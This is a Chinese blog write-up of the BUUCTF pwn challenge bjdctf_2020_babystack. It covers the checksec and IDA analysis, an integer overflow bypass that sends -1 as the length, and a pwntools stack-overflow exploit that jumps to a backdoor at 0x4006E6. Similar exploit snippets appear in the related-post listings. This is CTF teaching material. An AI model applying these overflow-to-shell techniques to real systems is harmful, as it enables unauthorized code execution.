BUUCTF PWN bjdctf_2020_babystack

[buuctf]bjdctf_2020_babystack 阅读详情

1.checksec+运行

64位/NX保护

2.64位IDA进行中

1.main函数

read()函数溢出

跟进buf,看看偏移

 

offset=0x10+8

但要注意一点:

read(0, buf, (unsigned int)nbytes); 

无符号整型,需要输入-1,进行整型溢出

接下来就是常规的操作

backdoor函数地址

 

3.直接上脚本

from pwn import*
#p=process('./12babystack')
p=remote("node4.buuoj.cn",28922)


backdoor=0x4006E6

p.recvuntil('[+]Please input the length of your name:')//发送-1交互,整型溢出
p.sendline('-1')

payload=b'a'*(0x10+8)+p64(backdoor)
p.sendline(payload)
p.interactive()

[BUUCTF]PWN18——bjdctf_2020_babystack [BUUCTF]PWN18——bjdctf_2020_babystack 附件 步骤: 例行检查,64位,开启了nx保护 试运行一下程序 大概了解程序的执行过程后用64位ida打开,shift+f12先查看一下程序里的字符串 看到/bin/sh双击跟进,ctrl+x找到了后门函数,shell_addr=0x4006e6 根据试运行的回显,找到了输入点 一个简单的小程序,buf读入的数据长度由我们输入的nbytes来控制,所以这里可以利用它来溢出 EXP from pwn import* r=re 阅读详情

相关推荐

【论文复现】自动化细胞核分割与特征分析

HoVer-Net是一种精心设计的多分支深度学习网络架构,专为处理复杂的多组织显微图像中的细胞核实例分割与精确分类任务而开发。该网络通过创新的策略,不仅有效解决了细胞核在密集聚集区域难以准确区分的问题,还实现了对每个独立细胞核类型的细致分类。此外,HoVer-Net还引入了专门的上采样分支,这一设计旨在对每个成功分割出的细胞核实例进行进一步的核类型分类。这一分支利用高级语义信息,结合精心设计的分类策略,能够准确判断每个细胞核的所属类型,为医学研究提供了宝贵的细胞水平信息。

2201_75366661的博客 1978

[BUUCTF]PWN——bjdctf_2020_babystack

例行检查,64位,开启NX保护 运行一下, 用IDA打开,检索字符串,看到了后门 跟进查看。 找到了地址,shelladdr=0x4006EA 查看主函数 接收函数长度由我们自己决定,由此可以造成溢出。 from pwn import* r=remote('node3.buuoj.cn',25232) shelladdr=0x4006EA r.sendline('100') payload='a'*(0x10+8)+p64(shelladdr) r.sendline(payload) r.

BangSen1的博客 427

Ubuntu22.04系统安装及配置

下载Ubuntu22.04系统镜像(下载地址:链接:https://caiyun.139.com/m/i?提取码:fLRJ),结合rufus和系统镜像制作USB启动盘,在物理机服务器上通过USB启动盘进行安装;或通过Esxi虚拟化平台创建虚拟机,然后在虚拟机中使用系统镜像进行安装。

cheagoun的博客 8万+

BUUCTF|PWN-bjdctf_2020_babystack2-WP

1.例行检查保护机制 2.我们用64位的IDA打开该文件 shift+f12查看关键字符串,我们看到关键字符串"/bin/sh" 然后我们找到后门函数的地址:backdoor_addr = 0x0400726 3.我们看看main函数里面的内容 我们看到第一个nbytes是有符号数,第二个nbytes就变成了无符号数 我们判断这是一个整数溢出 所以 -1 = 4294967295 4.EXP #encoding = utf-8 fr...

l2645470582_的博客 585

【硬件开发】振铃

如果是开关管的振铃,那么桥臂的SW处产生的振铃会窜入驱动电路,造成的结果就是驱动电路和上桥臂下桥臂之间的SW节点都会有振铃现象。如果是驱动电路的振铃,那么MCU的输出引脚还是正常的PWM,但是到了MOS管两侧就变成带有振铃的PWM波形了。开关振铃产生的原因是MOS管上面的寄生电感当开关管打开时为了保持电流不变感应出的电压会对电源和地产生冲击。开关管的驱动线上的寄生电容和寄生电感导致的振铃为驱动电路振铃。开关管上的寄生电容和寄生电感导致的振铃为开关节点振铃。、电感等元件的存在,导致电路中的电压和。

weixin_62546664的博客 1828

LLMOps的崛起:如何利用Langfuse和Opik构建高效的模型监控与评估体系

本文探讨了LLMOps的崛起,详细介绍了如何利用Langfuse和Opik构建高效的模型监控与评估体系。通过开源工具Langfuse的全景监控方案和Opik的三层评估体系,帮助AI工程团队实现大语言模型的全生命周期管理,提升模型性能和迭代效率。文章还提供了实战技巧和工具链集成方案,助力企业优化AI应用。

ll5678的博客 680

CTF buuoj pwn-----第10题: bjdctf_2020_babystack

思路 本体有后门函数, 最简单的是直接调用. 这里想用一下system函数,一开始忘了是32位的,写了个payload_1 = b’a’*(0x10+8) + p64(system_addr)+p64(1)+p64(binsh_addr) 显然不成功 后来反映过来, 写了payload_1 = b’a’*(0x10+8) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr),成功获取flag 编写exp from pwn import * con

bing_Max的博客 2万+

【spark源码修改】hive3.1.3 spark3.5.4编译,需要修改源码,最终编译成功

【spark源码修改】hive3.1.3 spark3.5.4编译,需要修改源码,最终编译成功,附带问题分析详细过程

spark_dev的博客 1912

[BUUCTF-pwn]——bjdctf_2020_babystack

[BUUCTF-pwn]——bjdctf_2020_babystack 题目地址:https://buuoj.cn/challenges#bjdctf_2020_babystack Linux中checksec一下 , 64位的我们要小心参数小于6位的函数. IDA中看看 看到这里不用我多说了吧, So easy !!! exploit from pwn import * p = remote("node3.buuoj.cn",25355) sys = 0x04006EA p.sendlinea

Y_peak的博客 476

手把手教你用Arduino搭建惠斯通电桥:从原理到代码实现(附完整电路图)

本文详细介绍了如何利用Arduino搭建惠斯通电桥,从硬件选型、电路设计到代码实现和校准技巧,提供完整的电路图和实用代码示例。特别适合电子爱好者和创客学习高精度电阻测量技术,并扩展应用于应变片测量和温度监测等实际项目。

o4p5q6r7s的博客 400

从触觉到视觉:GelSight传感器的工作原理与实战应用指南

本文深入解析了GelSight光学触觉传感器的核心工作原理,它通过将物理接触转化为视觉图像,为机器人提供了高精度的触觉感知。文章详细介绍了其在工业微观缺陷检测、机器人灵巧操作等领域的实战应用,并提供了从系统搭建到算法开发的完整指南,帮助工程师将这一前沿技术落地于实际项目。

solidity8miner的博客 939

buuctf-bjdctf_2020_babystack(pwn)

buuctf-bjdctf_2020_babystack(pwn)题解

2301_81574836的博客 1153

逆强化学习:从专家示范中学习策略

逆强化学习(Inverse Reinforcement Learning,简称IRL)是强化学习(Reinforcement Learning,简称RL)的一个子领域,它的目标是从专家的行为中学习策略。在传统的强化学习中,智能体通过与环境交互,根据奖励信号来学习一个策略。而在逆强化学习中,我们没有直接的奖励信号,而是通过观察专家的行为来推断出奖励函数,从而学习到一个与专家类似的策略。逆强化学习作为强化学习的一个重要子领域,在许多实际应用场景中都取得了显著的成功。

AI天才研究院 1452

[BUUCTF]PWN——bjdctf_2020_babystack2

bjdctf_2020_babystack2 附件 步骤: 例行检查,64位程序,开启了nx保护 尝试运行一下程序,看看情况 64位ida载入,习惯性的先检索程序里的字符串,发现了bin/sh,双击跟进,找到了程序里的后门函数,backdoor=0x400726 从main函数开始看程序 我们读入数据的大小由我们输入的参数nbytes控制,但是nbytes又不能大于10,这边注意到了nbytes参数的类型–>size_t 百度百科里对这个类型的解释是 大概就是一个无符号整型,注意重点是无符

mcmuyanga的博客 843

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

BUUCTF--pwn—bjdctf_2020_babystack1

总结一下思路:首先buf的起始地址距离rbp距离为 0x10 ,我们需要再将 rbp 覆盖掉才能到“返回函数”,然后再将返回函数覆盖成我们的“后门函数”。这里的0x10 其实包含两部分,12是buf本身输入,4是对齐填充(学了计组也懂一点点了嘿)得到一些最基本的信息,比如64位,小端序,只开了NX保护。发现buf的读入可以被nbytes影响,可以进行栈溢出。首先将下载的文件拖入Ubuntu中,check一下。再进入ida64中查看。同时还找到了后门函数。

2401_88083440的博客 390

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

BUUCTF pwn——bjdctf_2020_babystack2

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 254

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

buuctf-pwn bjdctf_2020_babystack2题解 整数溢出(学习过程持续更新)

这篇文章记录了一个栈溢出漏洞利用的自学过程。分析64位程序babystack2时,发现可以利用有符号/无符号整数转换漏洞:输入-1会被解读为最大无符号数,绕过长度检查触发栈溢出。通过构造ROP链(包含ret指令地址0x400599和对齐操作)跳转到后门函数0x400726,最终成功获取flag。作者声明内容基于个人理解,欢迎指正不专业之处。

2501_93570847的博客 457

BUUCTF pwn——bjdctf_2020_babystack

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 485

BUUCTF(pwn)bjdctf_2020_babystack2

这是一道整形溢出的题目 from pwn import * p = remote("node3.buuoj.cn",28786) flag=0x400726 p.sendlineafter("[+]Please input the length of your name:\n",'-1') p.recv() payload='a'*(0x10+8)+p64(flag) p.sendline(payload) p.interactive() 有疑问的欢迎留言 ...

半岛铁盒的博客 305

BUUCTF-PWN-bjdctf_2020_babystack1

执行信息逆向: /bin/sh 地址为0x4006E6main函数地址0x4006FB第二次读入有明显的溢出漏第一次输入的数据是第二次可读入数据的长度,可由此实现栈溢出,构建exp​p.sendline('50')#目的是给一个足够大的空间能够输出/bin/sh​# payload =p64(flag_addr)+b'a'*(0x10+8) 要注意发送字节的顺序,首先填充的是nbytes,所以这条语句会出现EOF​。

qq_75106749的博客 301

[BUUCTF-pwn]——bjdctf_2020_babystack2

[BUUCTF-pwn]——bjdctf_2020_babystack2 题目地址: https://buuoj.cn/challenges#bjdctf_2020_babystack2 先checksec一下 在IDA中查看一下,注意想要栈溢出,首先需要nbytes足够大。size_t类型在标准C语言库中,是unsigned int类型, 64位 long unsigned int。 而%d 是按照int类型读取的,我们读入-1。其实就相当于一个很大的数字,但是可以绕过检查。具体可以了解下整型溢出

Y_peak的博客 312

BUUCTF PWN wp--bjdctf_2020_babystack

第一步 checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack)所以我们构建的payload,垃圾数据的大小即为0x10+8。我们来在strings窗口找一下有没有getshell的函数。跟进backdoor,其地址是0x4006e6。第三步 编写脚本(每行有注释说明)点击nbytes数组看看。第二步 进入主函数。

2302_81740139的博客 485

BUUCTF-Pwn-bjdctf_2020_babystack

题目截图

餐桌上的猫 201

BUUCTF Pwn bjdctf_2020_babystack2 题解

发现read需要读取输入——nbytes的数字来决定长度。同时nbytes是size_t类型 也就是无符号整型的。定位到main函数 以及后门函数。1.下载 checksec。所以想到整数溢出漏洞。64位 拖入IDA64。

qq_33348179的博客 609

BUUCTF Pwn bjdctf_2020_babystack 题解

运行,得到flag:flag{c8a93978-03e8-4cd1-92b4-9de1370e7649}read的读入字符数和字符都让我们输入,本质还是栈溢出题目。

qq_33348179的博客 429
上一篇: BUUCTF|PWN-pwn1_sctf_2016
下一篇: BUUCTF PWN get_started_3dsctf_2016
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值